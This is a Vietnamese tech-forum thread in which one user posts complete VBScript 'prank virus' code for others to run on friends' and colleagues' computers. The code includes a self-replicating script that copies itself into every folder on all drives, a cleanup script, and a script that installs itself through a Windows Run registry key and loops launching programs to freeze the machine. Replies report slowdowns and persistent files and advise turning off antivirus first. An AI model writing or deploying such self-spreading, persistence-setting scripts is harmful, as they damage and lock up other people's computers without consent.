Tạo virus máy tính cơ bản (không sợ máy hư)

Thảo luận trong 'Kinh nghiệm / Hỗ trợ kỹ thuật Windows' bắt đầu bởi pinetrees, 13/03/2010.

  1. Offline

    pinetrees + Tịnh tâm +

    Số bài viết:
    7.606
    Đã được thích:
    7.365
    Đầu tiên pine xin mạn phép viết một bài giới thiệu sơ về đoạn mã độc được một tác giả khác viết trên nền vsb và đã được edit lại ( mã lúc đầu là phá hỏng ổ cứng )
    Tiếp theo là cho các bạn so sánh giữa mã độc và mã giải độc là như thế nào để các bạn so sánh giữ viết mã ra và giải mã cho nó đơn giản thế nào nhưng lại vô cùng ác độc hjhj
    Bên dưới pine sẽ demo cho các bạn xem bằng hình anh mình tự sướng với con virut này và tự xữ nó lun >:)
    Yên tâm là ko seo đâu nhá :

    Bước đầu thả virut

    [IMG]
    [IMG]
    [IMG]
    [IMG]

    Bước 2 Giải độc

    [IMG]
    [IMG]

    Đầu tiên để tạo virut giả trêu người khác

    Bạn vào Start => Run => gõ "NOTEPAD" sau đó nhấn Enter rồi chép đoạn này vào:
    HTML:
    'pinetrees  !!! ^_^
    Dim fso,file,VBCopy
    Set fso=CreateObject("Scripting.FileSystemObject")
    Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
    VBCopy=file.ReadAll
    FolderList("A:\")
    FolderList("B:\")
    FolderList("C:\")
    FolderList("D:\")
    FolderList("E:\")
    FolderList("F:\")
    FolderList("G:\")
    FolderList("H:\")
    FolderList("I:\")
    FolderList("J:\")
    FolderList("K:\")
    FolderList("L:\")
    FolderList("M:\")
    FolderList("N:\")
    FolderList("O:\")
    FolderList("P:\")
    FolderList("Q:\")
    FolderList("R:\")
    FolderList("S:\")
    FolderList("T:\")
    FolderList("U:\")
    FolderList("V:\")
    FolderList("X:\")
    FolderList("Y:\")
    FolderList("Z:\")
    FolderList("W:\")
    
    Sub FolderList(FolderSpec)
    On Error Resume Next
    Dim f,f1,sf,COP,CAP
    Set f=fso.GetFolder(FolderSpec)
    set sf=f.SubFolders
    For Each f1 In sf
    Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
    COP.write VBCopy
    Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
    CAP.write VBCopy
    FolderList(f1.Path)
    Next
    End sub
    Rồi nhấn Ctrl + S => Save lại với tên là: Thuoc_Doc.vbs
    nhớ đuôi phải là .VBS nha
    chỉ cần chạy file này là "Tràn ngập Virus !"
    Còn đây là file thuốc giải:


    HTML:
    'Thuoc Giai
    Dim fso,file,VBCopy
    Set fso=CreateObject("Scripting.FileSystemObject")
    Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
    VBCopy=file.ReadAll
    FolderList("A:\")
    FolderList("B:\")
    FolderList("C:\")
    FolderList("D:\")
    FolderList("E:\")
    FolderList("F:\")
    FolderList("G:\")
    FolderList("H:\")
    FolderList("I:\")
    FolderList("J:\")
    FolderList("K:\")
    FolderList("L:\")
    FolderList("M:\")
    FolderList("N:\")
    FolderList("O:\")
    FolderList("P:\")
    FolderList("Q:\")
    FolderList("R:\")
    FolderList("S:\")
    FolderList("T:\")
    FolderList("U:\")
    FolderList("V:\")
    FolderList("X:\")
    FolderList("Y:\")
    FolderList("Z:\")
    FolderList("W:\")
    
    Sub FolderList(FolderSpec)
    On Error Resume Next
    Dim f,f1,sf,COP,CAP,ATT
    Set f=fso.GetFolder(FolderSpec)
    set sf=f.SubFolders
    For Each f1 In sf
    'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
    'COP.write VBCopy
    'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
    'CAP.write VBCopy
    'Set ATT=fso.GetFolder(f1.Path)
    'ATT.Attributes=ATT.Attributes+2
    fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
    fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
    FolderList(f1.Path)
    Next
    End sub
    cũng lưu lại như trên với tên : Thuoc_Giai.vbs
    nhớ là vbs là đuôi chứ ko phải tên.

    Tiếp theo
    Bạn mở notepad lên chép đoạn mã sau vào:

    On Error Resume Next
    Set popo= Createobject("scripting.filesystemobject")
    popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
    Set popo2= CreateObject("WScript.Shell")
    popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
    Set treomay= CreateObject("WScript.Shell")
    Do
    treomay.run "notepad",false
    loop
    cái này sẽ làm máy bị treo
    lưu lại với tên jì cũng đc nhưng với đuôi là ".vbs"
    Ví Dụ: treomay.vbs
    muốn sửa thì chỉ cần Restart là OK
    Tiếp tục với phần mềm
    Bạn muốn dọa thằng bạn ngốc của mình bằng virus ư ? nhưng virus ở đâu ra đây, lỡ chạy hư máy nó bắt đền thì sao đây ?
    The Ultimate Virus là chương trình giả virus giúp bạn lừa được họ.
    Đặc tính của nó là không hại máy tính mà chỉ đưa ra các cảnh báo giả để hù dọa mà thôi, không có lây lan đâu. Từ từ khám phá nhé.

    Lưu ý : nếu sợ quá thì bấm nút Reset trên thùng máy hoặc Ctrl Alt Del là xong. Chúc nghịch virus vui vẻ.


    Dracula.9x, nspro, Waplt3 người khác thích bài này.
  2. Offline

    pinetrees + Tịnh tâm +

    Số bài viết:
    7.606
    Đã được thích:
    7.365
    Không ai dám thử sao trời vậy còn hứng thú đâu mà pine cho các bạn một con virut để trêu ghẹo các bạn nữ chứ
    Con này ko phá hư máy cũng chẳng là gì chỉ để chọc các bạn nữ khi khởi động máy vào buổi tối mà pine gọi nó là virut MA
  3. Offline

    Chung Thai Old Staff

    Số bài viết:
    5.414
    Đã được thích:
    4.283
    haha Để ngày mai mang con này lên công ty chơi mấy thằng sếp cho bõ ghét :))
  4. Offline

    thaptamung .::Bảo kê Mobileworld::.

    Số bài viết:
    3.703
    Đã được thích:
    3.216
    Híc,em click vào có thấy con ma nào đâu anh trai.nhấp ctrl + alt + del mà nó mất thanh start.híc :)
  5. Offline

    thaptamung .::Bảo kê Mobileworld::.

    Số bài viết:
    3.703
    Đã được thích:
    3.216
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    Có vẻ như em tạo xong là kaspersky của em nó diệt lun :(
  6. Offline

    pinetrees + Tịnh tâm +

    Số bài viết:
    7.606
    Đã được thích:
    7.365
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    Đã bảo mọi người tắt hết KAS rùi mà ai xài pm duyệt virut thì tắc vì những cái này để cho mọi người thử nghiệm thui mà
  7. Offline

    yanoumi Active Member

    Số bài viết:
    95
    Đã được thích:
    17
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    ..Làm theo lời chỉ dẫn.. Ghiền thiệt.. Nhưng làm xog k hiểu làm sao ảo quá.. @-).. hix!!
  8. Offline

    pinetrees + Tịnh tâm +

    Số bài viết:
    7.606
    Đã được thích:
    7.365
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    ý bạn là seo không hiểu , có gì cần thì nói rõ mình mới support được chứ
  9. Offline

    Tôi là Tôi Đẹp trai nhất diễn đàn

    Số bài viết:
    714
    Đã được thích:
    210
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    Hay quá . Cảm ơn bác nha . Để tôi thử xem
  10. Offline

    yanoumi Active Member

    Số bài viết:
    95
    Đã được thích:
    17
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    ý tớ là, làm xong tớ thấy hay zà thích nó.. Nhưng khuya qá nên đầu óc nó giật băng băng.. thấy choáng ấy mà.. K có j âu.. Thank cậu nha :D
  11. Offline

    pinetrees + Tịnh tâm +

    Số bài viết:
    7.606
    Đã được thích:
    7.365
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    hjhj hi vọng những bài của mình sẽ giúp bạn vài thủ thuật vui để bạn có thể đi ghẹo bạn bè chơi hjhj
  12. Offline

    thaptamung .::Bảo kê Mobileworld::.

    Số bài viết:
    3.703
    Đã được thích:
    3.216
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    Haizz.Anh thông ơi sao từ lúc em làm.bây giờ cứ lâu lâu nó hiện lên thuốc độc với thuôc giải ở màn hình thế.đó là em vừa mới tạo thui đó.chưa có mở độc đâu :D.Em đã xóa 2 file đó rùi
  13. Offline

    pinetrees + Tịnh tâm +

    Số bài viết:
    7.606
    Đã được thích:
    7.365
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    Thì em lưu lại nó mới nằm ở đó chứ , em buzz nó ra thì mới thấy hiệu quả và bấm giải mới thấy công hiệu . Em cứ yên tâm vì những gì anh đem lên cho MW hoàn toàn ko hề độc hại mà chỉ mang tính vui và học hỏi thui à ko sao . Chú ý là loại này anh ko có tích hợp mã loại các pm virut nên dễ bị chết khi em quét virut lắm nha
  14. Offline

    hungnv85 SEO Manager

    Số bài viết:
    2.786
    Đã được thích:
    4.326
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    Lúc tối mình cũng vừa tét phát thấy cũng hiệu nghiệm và đã cho uống thuốc giải. Sáng nay mở máy lên trong ổ đĩa quá trời file virus luôn, hết hồn :)) Và chạy thuốc giải lại lần nữa thì mới hết. Mà khi cho uống thuốc độc thì máy chạy ỳ ạch luôn :D
  15. Offline

    pinetrees + Tịnh tâm +

    Số bài viết:
    7.606
    Đã được thích:
    7.365
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    Hi chào anh hùng lí do tại sao máy nặng em xin giải thích là vì nó tạo ra lỗ hổng từ win copy tất cả các folder trong hệ thống để tạo ra file vbs nên máy sẽ chậm thậm chí đơ đơ , nhưng ko seo uống tí thuốc giải là xong ngay hjhj hi vọng anh có thêm kinh nghiệm khi gặp phải con này , em còn một mã cực độc chạy nền java nhưng ko dám cho mọi người vì các giải tương đối khó và tỉ lệ thành công khi giải là 10% hjhj nên em ko giới thiệu , loại này cũng giống VBS là tạo file tuy nhiên nó khóa tất cả các thư mục và ngưng hoạt động ổ cứng ghê lắm em thử test trên máy 3 lần đều chết 3 ổ cứng 5G cữ xì hehe
  16. Offline

    thaptamung .::Bảo kê Mobileworld::.

    Số bài viết:
    3.703
    Đã được thích:
    3.216
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    Ông anh sống chung với virus .anh tổng hợp được bao nhiêu loài rồi
  17. Offline

    pinetrees + Tịnh tâm +

    Số bài viết:
    7.606
    Đã được thích:
    7.365
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    nhiều lắm em àh hiện tại ổ cứng anh có khoảng 50 loại ( ko nhớ hết công dụng của con nào ra con nào cả )
    nhưng chỉ vài con thật sự làm anh thích thui à
  18. Offline

    pinetrees + Tịnh tâm +

    Số bài viết:
    7.606
    Đã được thích:
    7.365
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    nhiều lắm em àh hiện tại ổ cứng anh có khoảng 50 loại ( ko nhớ hết công dụng của con nào ra con nào cả )
    nhưng chỉ vài con thật sự làm anh thích thui à
  19. Offline

    ledinhtan1991 New Member

    Số bài viết:
    2
    Đã được thích:
    0
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    anh ơi sao không dạy cách tạo mà chỉ cho một con virut lên vậy
    mà sao vùa vào máy em chảng thấy nó đâu cả hay kasperkey của em nó cho bay sang tây rôi
  20. Offline

    thaptamung .::Bảo kê Mobileworld::.

    Số bài viết:
    3.703
    Đã được thích:
    3.216
    Trả lời: Tạo virut cơ bản ( không sợ máy hư )

    Trước khi thả thì tắt hết chương trình diệt sâu đi nha bạn :)

Chia sẻ trang này